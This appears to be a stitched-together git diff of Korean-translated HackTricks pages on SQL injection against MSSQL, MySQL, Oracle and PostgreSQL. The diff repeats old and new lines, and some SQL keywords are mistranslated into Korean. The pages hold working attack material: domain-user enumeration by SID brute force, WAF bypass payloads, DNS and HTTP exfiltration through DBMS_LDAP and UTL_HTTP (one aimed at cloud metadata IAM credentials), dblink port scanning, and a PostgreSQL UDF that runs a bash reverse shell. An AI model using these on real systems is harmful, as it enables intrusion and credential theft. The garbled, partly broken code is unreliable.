- **`SELECT DEFAULT_DOMAIN()`**: 현재 도메인 이름을 가져옵니다.
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: 도메인 이름(_DOMAIN_ 이 예제에서)을 알고 있다면 이 함수는 **관리자 사용자**의 **SID를 16진수 형식**으로 반환합니다. 이는 `0x01050000000[...]0000f401`처럼 보일 것이며, **마지막 4바이트**가 **빅 엔디안** 형식으로 **500**이라는 숫자라는 점에 유의하세요. 이는 **관리자 사용자**의 **공통 ID**입니다.\
이 함수는 **도메인의 ID를 알 수 있게 해줍니다** (마지막 4바이트를 제외한 모든 바이트).
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : 이 함수는 **지정된 ID의 사용자 이름을 반환합니다** (있는 경우), 이 경우 **0000e803**는 빅 엔디안 == **1000**입니다 (일반적으로 이는 생성된 첫 번째 일반 사용자 ID의 ID입니다). 그러면 1000에서 2000까지 사용자 ID를 무차별 대입하여 도메인 사용자의 모든 사용자 이름을 얻을 수 있다고 상상할 수 있습니다. 예를 들어 다음과 같은 함수를 사용하여:
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: 도메인 이름(_DOMAIN_ 이 예제에서) 을 알고 있다면 이 함수는 **관리자 사용자**의 **SID**를 16진수 형식으로 반환합니다. 이는 `0x01050000000[...]0000f401`처럼 보일 것이며, **마지막 4바이트**가 **500**이라는 숫자를 **빅 엔디안** 형식으로 나타내며, 이는 **관리자 사용자**의 **공통 ID**입니다.\
이 함수는 **도메인의 ID**를 알 수 있게 해줍니다 (마지막 4바이트를 제외한 모든 바이트).
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : 이 함수는 **지정된 ID의 사용자 이름**을 반환합니다 (있다면), 이 경우 **0000e803**는 빅 엔디안 == **1000**입니다 (보통 이는 생성된 첫 번째 일반 사용자 ID의 ID입니다). 그러면 1000에서 2000까지 사용자 ID를 무차별 대입하여 도메인 사용자의 모든 사용자 이름을 얻을 수 있다고 상상할 수 있습니다. 예를 들어 다음과 같은 함수를 사용하여:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -85,9 +85,9 @@ EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
`xp_dirtree`와 같은 저장 프로시저는 Microsoft에 의해 공식적으로 문서화되지는 않았지만, MSSQL 내에서 네트워크 작업에 유용하기 때문에 온라인에서 다른 사람들에 의해 설명되었습니다. 이러한 프로시저는 다양한 [예제](https://www.notsosecure.com/oob-exploitation-cheatsheet/)와 [게시물](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)에서 보여준 바와 같이 Out of Band 데이터 유출에 자주 사용됩니다.
`xp_dirtree`와 같은 저장 프로시저는 Microsoft에 의해 공식적으로 문서화되지는 않았지만, MSSQL 내에서 네트워크 작업에 유용하기 때문에 온라인에서 다른 사람들에 의해 설명되었습니다. 이러한 프로시저는 다양한 [예제](https://www.notsosecure.com/oob-exploitation-cheatsheet/)와 [게시물](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)에서 보여준 바와 같이 Out of Band Data exfiltration에 자주 사용됩니다.
예를 들어, `xp_dirtree` 저장 프로시저는 네트워크 요청을 수행하는 데 사용되지만, TCP 포트 445로만 제한됩니다. 포트 번호는 수정할 수 없지만, 네트워크 공유에서 읽는 것을 허용합니다. 사용법은 아래 SQL 스크립트에서 보여집니다:
예를 들어, `xp_dirtree` 저장 프로시저는 네트워크 요청을 만드는 데 사용되지만, TCP 포트 445로만 제한됩니다. 포트 번호는 수정할 수 없지만, 네트워크 공유에서 읽는 것을 허용합니다. 사용법은 아래 SQL 스크립트에서 보여집니다:
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
@ -209,11 +209,11 @@ SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
사용 [tempdb]
테이블 [test] 생성 ([id] int)
[테스트]에 값 삽입(1)
[테스트]에서 [id] 선택
테이블 [test] 삭제
```
Can be reduced to:

View File

@ -50,14 +50,14 @@ SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCH
```
## 흐름
"모던" 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"로 대체할 수 있다는 점을 기억하세요. (이는 WAF를 우회하는 데 유용할 수 있습니다.)
"모던" 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"**로 대체할 수 있다는 점을 기억하세요 (이는 WAF를 우회하는 데 유용할 수 있습니다).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **오직 1 값**
### **오직 1개의 값**
- `group_concat()`
- `Limit X,1`
@ -99,13 +99,13 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**여기에서** [**Mysql injection을 악용하여 SSRF를 얻는 다양한 옵션을 배우세요**](mysql-ssrf.md)**.**
**여기에서 Mysql injection을 악용하여 SSRF를 얻는 다양한 옵션을 배워보세요** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
## WAF 우회 기법
### 준비된 문장을 통한 쿼리 실행
### Prepared Statements를 통한 쿼리 실행
스택 쿼리가 허용될 때, 실행하려는 쿼리의 16진수 표현을 변수에 할당하고 (SET을 사용하여) PREPARE 및 EXECUTE MySQL 문을 사용하여 궁극적으로 쿼리를 실행함으로써 WAF를 우회할 수 있을 가능성이 있습니다. 다음과 같은 방식입니다:
스택 쿼리가 허용되는 경우, 실행하려는 쿼리의 16진수 표현을 변수에 할당하고 (SET을 사용하여) PREPARE 및 EXECUTE MySQL 문을 사용하여 궁극적으로 쿼리를 실행함으로써 WAF를 우회할 수 있을 있습니다. 다음과 같은 방식입니다:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
@ -121,7 +121,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### 열 이름 없이 값 가져오
### 열 이름 없이 값 검색하
어떤 시점에 테이블의 이름은 알지만 테이블 안의 열 이름은 모를 경우, 다음과 같은 명령을 실행하여 열의 개수를 찾으려고 시도할 수 있습니다:
```bash
@ -129,7 +129,7 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
두 개의 열이 있다고 가정할 때 (첫 번째 열은 ID이고 두 번째 열은 플래그입니다), 문자 하나씩 시도하여 플래그의 내용을 무차별 대입으로 시도할 수 있습니다:
두 개의 열이 있다고 가정할 때 (첫 번째 열은 ID이고 두 번째 열은 플래그임), 플래그의 내용을 문자별로 시도하여 브루트포스 공격을 시도할 수 있습니다:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

View File

@ -16,14 +16,14 @@ SQL Out of Band 데이터 유출 탐색에서 `LOAD_FILE()` 함수는 네트워
### 사용자 정의 함수(UDF)를 통한 원격 코드 실행(RCE)
MySQL 데이터베이스는 외부 라이브러리 파일에서 사용자 정의 함수(UDF)를 사용할 수 있습니다. 이러한 라이브러리가 특정 디렉토리 내에서 또는 시스템의 `$PATH`에 접근 가능하다면 MySQL 내에서 호출할 수 있습니다.
MySQL 데이터베이스는 외부 라이브러리 파일에서 사용자 정의 함수(UDF)를 사용할 수 있습니다. 이러한 라이브러리가 특정 디렉토리 내에 있거나 시스템의 `$PATH`에 접근 가능하다면 MySQL 내에서 호출할 수 있습니다.
이 기술은 여러 조건이 충족되는 경우 UDF를 통해 네트워크/HTTP 요청을 실행할 수 있게 해줍니다. 여기에는 `@@plugin_dir`에 대한 쓰기 접근, `file_priv``Y`로 설정, `secure_file_priv`가 비활성화되어야 합니다.
예를 들어, `lib_mysqludf_sys` 라이브러리 또는 HTTP 요청을 가능하게 하는 다른 UDF 라이브러리를 로드하여 SSRF를 수행할 수 있습니다. 라이브러리는 서버로 전송되어야 하며, 이는 라이브러리의 내용을 hex 또는 base64로 인코딩한 후 적절한 디렉토리에 작성하여 달성할 수 있습니다.
`@@plugin_dir`가 쓰기 불가능한 경우, 특히 MySQL 버전이 `v5.0.67` 이상인 경우 프로세스가 달라집니다. 이러한 경우에는 쓰기 가능한 대체 경로를 사용해야 합니다.
`@@plugin_dir`가 쓰기 불가능한 경우 프로세스는 달라지며, 특히 MySQL 버전이 `v5.0.67` 이상인 경우 대체 경로를 사용해야 합니다.
이러한 프로세스의 자동화는 UDF 주입을 지원하는 SQLMap과 같은 도구를 통해 용이해질 수 있으며, 블라인드 SQL 주입의 경우 출력 리디렉션 또는 DNS 요청 밀반입 기술을 활용할 수 있습니다.
이러한 프로세스의 자동화는 UDF 주입을 지원하는 SQLMap과 같은 도구를 통해 촉진될 수 있으며, 블라인드 SQL 주입의 경우 출력 리디렉션 또는 DNS 요청 밀반입 기술을 활용할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,11 +6,11 @@
## SSRF
Oracle을 사용하여 Out of Band HTTP 및 DNS 요청을 수행하는 것은 잘 문서화되어 있지만, SQL 데이터 유출 수단으로서의 주입에서 사용됩니다. 우리는 항상 이러한 기술/기능을 수정하여 다른 SSRF/XSPA를 수행할 수 있습니다.
Oracle을 사용하여 Out of Band HTTP 및 DNS 요청을 수행하는 것은 잘 문서화되어 있지만, SQL 데이터 유출을 위한 주입 수단으로도 사용됩니다. 우리는 항상 이러한 기술/함수를 수정하여 다른 SSRF/XSPA를 수행할 수 있습니다.
Oracle 설치는 정말 고통스러울 수 있으며, 특히 명령을 시도하기 위해 빠른 인스턴스를 설정하려는 경우에는 더욱 그렇습니다. [Appsecco](https://appsecco.com)의 친구이자 동료인 [Abhisek Datta](https://github.com/abhisek)가 t2.large AWS Ubuntu 머신과 Docker에서 인스턴스를 설정할 수 있게 해주는 [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)를 알려주었습니다.
Oracle 설치는 정말 고통스러울 수 있으며, 특히 명령을 시도하기 위해 빠른 인스턴스를 설정하려는 경우에는 더욱 그렇습니다. [Appsecco](https://appsecco.com)의 친구이자 동료인 [Abhisek Datta](https://github.com/abhisek)가 저에게 [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)를 알려주었고, 이를 통해 t2.large AWS Ubuntu 머신과 Docker에서 인스턴스를 설정할 수 있었습니다.
이 블로그 게시물의 과정에서 Oracle을 네이티브 설치로 전체 네트워크 액세스를 가진 것처럼 모방할 수 있도록 `--network="host"` 플래그와 함께 docker 명령을 실행했습니다.
저는 이 블로그 게시물의 과정에서 Oracle을 네이티브 설치로 전체 네트워크 액세스를 가진 것처럼 모방할 수 있도록 `--network="host"` 플래그와 함께 docker 명령을 실행했습니다.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
@ -37,15 +37,15 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
- DBMS_STREAMS_ADM
- UTL_HTTP
이 간단한 검색은 `DBMS_LDAP`와 같은 패키지를 명백히 건너뛰며 (호스트 이름과 포트 번호를 전달할 수 있음) [문서 페이지](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)는 단순히 [다른 위치](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)로 안내합니다. 따라서 제가 놓쳤을 수 있는 외부 요청을 수행하는 데 악용될 수 있는 다른 Oracle 패키지가 있을 수 있습니다.
이 간단한 검색은 `DBMS_LDAP`와 같은 패키지를 명백히 건너뛰는데, 이는 호스트 이름과 포트 번호를 전달할 수 있게 해줍니다. [문서 페이지](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)는 단순히 [다른 위치](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)로 안내합니다. 따라서 제가 놓쳤을 수 있는 외부 요청을 수행 수 있는 다른 Oracle 패키지가 있을 수 있습니다.
어쨌든, 우리가 발견하고 위에 나열한 패키지 중 일부를 살펴보겠습니다.
**DBMS_LDAP.INIT**
`DBMS_LDAP` 패키지는 LDAP 서버에서 데이터에 접근할 수 있도록 합니다. `init()` 함수는 LDAP 서버와의 세션을 초기화하며 호스트 이름과 포트 번호를 인수로 받습니다.
`DBMS_LDAP` 패키지는 LDAP 서버에서 데이터에 접근할 수 있게 해줍니다. `init()` 함수는 LDAP 서버와의 세션을 초기화하며, 호스트 이름과 포트 번호를 인수로 받습니다.
이 함수는 DNS를 통해 데이터 유출을 보여주는 문서화된 바가 있습니다, 아래와 같이
이 함수는 DNS를 통해 데이터 유출을 보여주는 문서화된 예가 있습니다, 아래와 같이.
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
@ -62,9 +62,9 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
**UTL_SMTP**
`UTL_SMTP` 패키지는 SMTP를 통해 이메일을 보내기 위해 설계되었습니다. [Oracle 문서 사이트에 제공된 예제는 이 패키지를 사용하여 이메일을 보내는 방법을 보여줍니다](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). 그러나 우리에게 흥미로운 점은 호스트 및 포트 사양을 제공할 수 있는 능력입니다.
`UTL_SMTP` 패키지는 SMTP를 통해 이메일을 전송하기 위해 설계되었습니다. [Oracle 문서 사이트에 제공된 예제는 이 패키지를 사용하여 이메일을 전송하는 방법을 보여줍니다](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). 그러나 우리에게 흥미로운 점은 호스트 및 포트 사양을 제공할 수 있는 능력입니다.
아래는 2초의 타임아웃을 가진 `UTL_SMTP.OPEN_CONNECTION` 함수의 조잡한 예입니다.
아래는 2초의 타임아웃을 가진 `UTL_SMTP.OPEN_CONNECTION` 함수의 간단한 예가 나와 있습니다.
```
DECLARE c utl_smtp.connection;
BEGIN
@ -84,7 +84,7 @@ END;
`UTL_TCP` 패키지와 그 절차 및 함수는 [서비스와의 TCP/IP 기반 통신을 허용합니다](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). 특정 서비스에 대해 프로그래밍된 경우, 이 패키지는 네트워크로의 접근 방법이 되거나 모든 TCP/IP 연결의 모든 측면을 제어할 수 있으므로 전체 서버 측 요청을 수행할 수 있습니다.
예제는 [Oracle 문서 사이트에서 이 패키지를 사용하여 웹 페이지를 가져오기 위해 원시 TCP 연결을 만드는 방법을 보여줍니다](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). 우리는 이를 조금 더 단순화하여 메타데이터 인스턴스나 임의의 TCP/IP 서비스에 요청을 만드는 데 사용할 수 있습니다.
예제는 [Oracle 문서 사이트에서 이 패키지를 사용하여 웹 페이지를 가져오기 위해 원시 TCP 연결을 만드는 방법을 보여줍니다](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). 우리는 이를 조금 더 간단하게 만들어 메타데이터 인스턴스나 임의의 TCP/IP 서비스에 요청을 하는 데 사용할 수 있습니다.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
@ -128,7 +128,7 @@ END;
**UTL_HTTP 및 웹 요청**
아마도 모든 Out of Band Oracle SQL Injection 튜토리얼에서 가장 일반적이고 널리 문서화된 기술은 [`UTL_HTTP` 패키지](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)입니다. 이 패키지는 문서에서 다음과 같이 정의됩니다 - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
아마도 모든 Out of Band Oracle SQL Injection 튜토리얼에서 가장 일반적이고 널리 문서화된 기술은 [`UTL_HTTP` 패키지](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)입니다. 이 패키지는 문서에서 다음과 같이 정의됩니다 - `UTL_HTTP 패키지는 SQL 및 PL/SQL에서 하이퍼텍스트 전송 프로토콜(HTTP) 호출을 수행합니다. 이를 사용하여 HTTP를 통해 인터넷의 데이터에 접근할 수 있습니다.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```

View File

@ -46,7 +46,7 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database_to_xml**
이 함수는 전체 데이터베이스를 XML 형식으로 단 1행에 덤프합니다(데이터베이스가 매우 클 경우 DoS 공격을 하거나 심지어 자신의 클라이언트에 영향을 줄 수 있으니 주의하세요):
이 함수는 전체 데이터베이스를 XML 형식으로 단 1행에 덤프합니다(데이터베이스가 매우 큰 경우 DoS를 발생시키거나 심지어 자신의 클라이언트를 손상시킬 수 있으니 주의하세요):
```sql
SELECT database_to_xml(true,true,'');
```
@ -64,7 +64,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
```
### 금지된 인용구
페이로드에 인용구를 사용할 수 없는 경우, 기본 절에 대`CHR`를 사용하여 우회할 수 있습니다 (_문자 연결은 SELECT, INSERT, DELETE 등과 같은 기본 쿼리에만 작동합니다. 모든 SQL 문에 대해 작동하지 않습니다_):
페이로드에 인용구를 사용할 수 없는 경우, 기본 절을 위`CHR`를 사용하여 우회할 수 있습니다 (_문자 연결은 SELECT, INSERT, DELETE 등과 같은 기본 쿼리에만 작동합니다. 모든 SQL 문에 대해 작동하지 않습니다_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```

View File

@ -2,9 +2,9 @@
### PostgreSQL 대용량 객체
PostgreSQL는 **대용량 객체**로 알려진 구조를 제공하며, 이는 `pg_largeobject` 테이블을 통해 접근할 수 있으며, 이미지나 PDF 문서와 같은 대형 데이터 유형을 저장하기 위해 설계되었습니다. 이 접근 방식은 **데이터를 파일 시스템으로 다시 내보내는** 기능을 제공하므로, 원본 파일의 정확한 복제본이 유지됩니다.
PostgreSQL는 **대용량 객체**로 알려진 구조를 제공하며, 이는 `pg_largeobject` 테이블을 통해 접근할 수 있으며, 이미지나 PDF 문서와 같은 대형 데이터 유형을 저장하기 위해 설계되었습니다. 이 접근 방식은 **데이터를 파일 시스템으로 다시 내보내는** 기능을 제공하므로 `COPY TO` 함수보다 유리하며, 원본 파일의 정확한 복제본이 유지됩니다.
이 테이블 내에서 **전체 파일을 저장하기 위해**, `pg_largeobject` 테이블에 객체를 생성해야 하며(LOID로 식별됨), 그 다음에 각 2KB 크기의 데이터 청크를 이 객체에 삽입해야 합니다. 이러한 청크는 내보내기 기능이 올바르게 작동하도록 보장하기 위해 정확히 2KB 크기여야 합니다(마지막 청크는 예외일 수 있음).
이 테이블 내에서 **전체 파일을 저장하기 위해** `pg_largeobject` 테이블에 객체를 생성해야 하며(LOID로 식별됨), 그 다음에 각 2KB 크기의 데이터 청크를 이 객체에 삽입해야 합니다. 이러한 청크는 내보내기 기능이 올바르게 작동하도록 보장하기 위해 정확히 2KB 크기여야 하며(마지막 청크는 예외일 수 있음) 중요합니다.
**이진 데이터를** 2KB 청크로 나누기 위해 다음 명령을 실행할 수 있습니다:
```bash
@ -15,7 +15,7 @@ split -b 2048 your_file # Creates 2KB sized files
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**중요**: 이 프로세스를 자동화할 때, 2KB의 일반 텍스트 바이트 청크를 전송해야 합니다. Hex 인코딩된 파일은 크기가 두 배로 증가하기 때문에 청크당 4KB의 데이터가 필요하며, Base64 인코딩된 파일은 `ceil(n / 3) * 4` 공식을 따릅니다.
**중요**: 이 프로세스를 자동화할 때, 2KB의 일반 텍스트 바이트 청크를 전송해야 합니다. Hex 인코딩된 파일은 크기가 두 배로 증가하므로 청크당 4KB의 데이터가 필요하며, Base64 인코딩된 파일은 `ceil(n / 3) * 4` 공식을 따릅니다.
대용량 객체의 내용은 디버깅 목적으로 다음을 사용하여 볼 수 있습니다:
```sql
@ -23,12 +23,12 @@ select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### Using `lo_creat` & Base64
이진 데이터를 저장하기 위해 먼저 LOID가 생성됩니다:
이진 데이터를 저장하기 위해, 먼저 LOID가 생성됩니다:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
정확한 제어가 필요한 상황, 예를 들어 Blind SQL Injection을 악용할 때, `lo_create`는 고정 LOID를 지정하는 데 선호됩니다.
정확한 제어가 필요한 상황, 예를 들어 Blind SQL Injection을 악용할 때, `lo_create`는 고정 LOID를 지정하는 데 선호됩니다.
데이터 청크는 다음과 같이 삽입할 수 있습니다:
```sql
@ -48,7 +48,7 @@ SELECT lo_unlink(173454); -- Deletes the specified large object
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
객체 생성 후, 각 페이지에 데이터가 삽입되며, 각 청크는 2KB를 초과하지 않도록 보장됩니다:
객체 생성 후, 각 페이지에 데이터가 삽입되며, 각 청크가 2KB를 초과하지 않도록 보장합니다:
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
@ -60,6 +60,6 @@ select lo_unlink(173454); -- Deletes the specified large object
```
### 제한 사항
**대형 객체는 ACL(Access Control Lists)을 가질 수 있으며**, 이는 사용자에 의해 생성된 객체에 대한 접근을 제한할 수 있습니다. 그러나 허용적인 ACL을 가진 오래된 객체는 여전히 콘텐츠 유출을 위해 접근할 수 있을 수 있습니다.
**대형 객체는 ACL(Access Control Lists)을 가질 수 있으며**, 이는 사용자가 생성한 객체에 대한 접근을 제한할 수 있습니다. 그러나 허용적인 ACL을 가진 오래된 객체는 여전히 콘텐츠 유출을 위해 접근할 수 있을 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -16,10 +16,10 @@ dblink이 로드되면 몇 가지 흥미로운 트릭을 수행할 수 있습니
```
local all all trust
```
_이 구성은 관리자가 비밀번호를 잊어버렸을 때 db 사용자 비밀번호를 수정하는 데 일반적으로 사용되므로, 때때로 이를 발견할 수 있습니다._\
_이 구성은 관리자가 비밀번호를 잊어버렸을 때 db 사용자 비밀번호를 수정하는 데 일반적으로 사용되므로, 때때로 이를 발견할 수 있습니다._\
&#xNAN;_또한 pg_hba.conf 파일은 postgres 사용자 및 그룹만 읽을 수 있으며, postgres 사용자만 쓸 수 있습니다._
이 경우는 **유용합니다** **이미** **쉘**이 피해자 내부에 있는 경우, postgresql 데이터베이스에 연결할 수 있게 해줍니다.
이 경우는 **유용합니다** **이미** 피해자 내부에 **쉘**이 있는 경우, postgresql 데이터베이스에 연결할 수 있게 해줍니다.
또 다른 가능한 잘못된 구성은 다음과 같은 것입니다:
```
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
```
### 포트 스캐닝
`dblink_connect`를 악용하여 **열려 있는 포트를 검색**할 수 있습니다. 만약 그 **기능이 작동하지 않으면, 문서에 따르면 `dblink_connect_u()`는 `dblink_connect()`와 동일하지만, 비슈퍼유저가 어떤 인증 방법을 사용하여도 연결할 수 있도록 허용합니다**.
`dblink_connect`를 악용하여 **열려 있는 포트를 검색**할 수 있습니다. 만약 그 **함수가 작동하지 않으면, 문서에 따르면 `dblink_connect_u()`는 `dblink_connect()`와 동일하지만, 비슈퍼유저가 어떤 인증 방법을 사용하여도 연결할 수 있도록 허용합니다**.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -69,7 +69,7 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
`dblink_connect` 또는 `dblink_connect_u`를 사용하기 전에 다음을 실행해야 할 수 있습니다:
다음에 유의하세요: `dblink_connect` 또는 `dblink_connect_u`를 사용하기 전에 다음을 실행해야 할 수 있습니다:
```
CREATE extension dblink;
```

View File

@ -13,7 +13,7 @@ lanname | lanacl
---------+---------
plpgsql |
```
기본적으로, **함수를 생성하는 것은 PUBLIC에게 부여된 권한입니다**, 여기서 PUBLIC은 해당 데이터베이스 시스템의 모든 사용자를 의미합니다. 이를 방지하기 위해 관리자는 PUBLIC 도메인에서 USAGE 권한을 철회해야 했을 것입니다:
기본적으로, **함수를 생성하는 것은 PUBLIC에게 부여된 권한입니다**, 여기서 PUBLIC은 해당 데이터베이스 시스템의 모든 사용자를 의미합니다. 이를 방지하기 위해, 관리자는 PUBLIC 도메인에서 USAGE 권한을 철회해야 했을 것입니다:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```

View File

@ -4,7 +4,7 @@
## PostgreSQL Extensions
PostgreSQL는 확장성을 핵심 기능으로 개발되어, 확장을 마치 내장 기능처럼 원활하게 통합할 수 있습니다. 이러한 확장은 본질적으로 C로 작성된 라이브러리로, 데이터베이스에 추가 기능, 연산자 또는 유형을 풍부하게 합니다.
PostgreSQL는 확장성을 핵심 기능으로 개발되어, 마치 내장 기능처럼 확장을 원활하게 통합할 수 있습니다. 이러한 확장은 본질적으로 C로 작성된 라이브러리로, 데이터베이스에 추가 기능, 연산자 또는 유형을 풍부하게 합니다.
버전 8.1부터는 확장 라이브러리에 대한 특정 요구 사항이 부과됩니다: 특별한 헤더로 컴파일되어야 합니다. 그렇지 않으면 PostgreSQL은 이를 실행하지 않으며, 호환 가능하고 잠재적으로 안전한 확장만 사용되도록 보장합니다.
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
<summary>Write binary file from base64</summary>
Postgres에 이진 파일을 쓰려면 base64를 사용해야 할 수 있습니다. 이는 다음과 같은 경우에 유용합니다:
Postgres에서 이진 파일을 작성하려면 base64를 사용해야 할 수 있습니다. 이는 다음과 같은 경우에 유용합니다:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -81,7 +81,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
> `PG_MODULE_MAGIC;`\
> `#endif`
PostgreSQL 8.2 버전 이후로 공격자가 시스템을 악용하는 과정이 더 어려워졌습니다. 공격자는 시스템에 이미 존재하는 라이브러리를 사용하거나 사용자 정의 라이브러리를 업로드해야 합니다. 이 사용자 정의 라이브러리는 호환되는 주요 버전의 PostgreSQL에 대해 컴파일되어야 하며 특정 "매직 블록"을 포함해야 합니다. 이 조치는 PostgreSQL 시스템을 악용하는 난이도를 크게 증가시키며, 시스템의 아키텍처와 버전 호환성에 대한 더 깊은 이해가 필요합니다.
PostgreSQL 8.2 버전 이후로 공격자가 시스템을 악용하는 과정이 더 어려워졌습니다. 공격자는 시스템에 이미 존재하는 라이브러리를 사용하거나 사용자 정의 라이브러리를 업로드해야 합니다. 이 사용자 정의 라이브러리는 호환되는 PostgreSQL의 주요 버전에 대해 컴파일되어야 하며 특정 "매직 블록"을 포함해야 합니다. 이 조치는 PostgreSQL 시스템을 악용하는 난이도를 크게 증가시키며, 시스템의 아키텍처와 버전 호환성에 대한 더 깊은 이해가 필요합니다.
#### 라이브러리 컴파일
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
**라이브러리는 여러 다른 PostgreSQL 버전으로 미리 컴파일된** 것을 찾을 수 있으며, **이 프로세스를 자동화할 수 있습니다** (PostgreSQL 접근 권한이 있는 경우):
**라이브러리는 미리 컴파일된** 여러 PostgreSQL 버전을 찾을 수 있으며, **이 프로세스를 자동화할 수 있습니다** (PostgreSQL 접근 권한이 있는 경우):
{% embed url="https://github.com/Dionach/pgexec" %}
@ -254,15 +254,15 @@ PG_RETURN_INT32(arg + 1);
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
[PolyUDF 프로젝트](https://github.com/rop-la/PolyUDF)는 전체 MS Visual Studio 프로젝트와 사용 준비가 완료된 라이브러리(_command eval_, _exec__cleanup_ 포함)와 다중 버전 지원이 있는 좋은 출발점입니다.
[PolyUDF 프로젝트](https://github.com/rop-la/PolyUDF)는 전체 MS Visual Studio 프로젝트와 사용 준비가 완료된 라이브러리(_command eval_, _exec__cleanup_ 포함)와 다중 버전 지원이 있는 좋은 시작점입니다.
### 최신 PostgreSQL 버전에서의 RCE
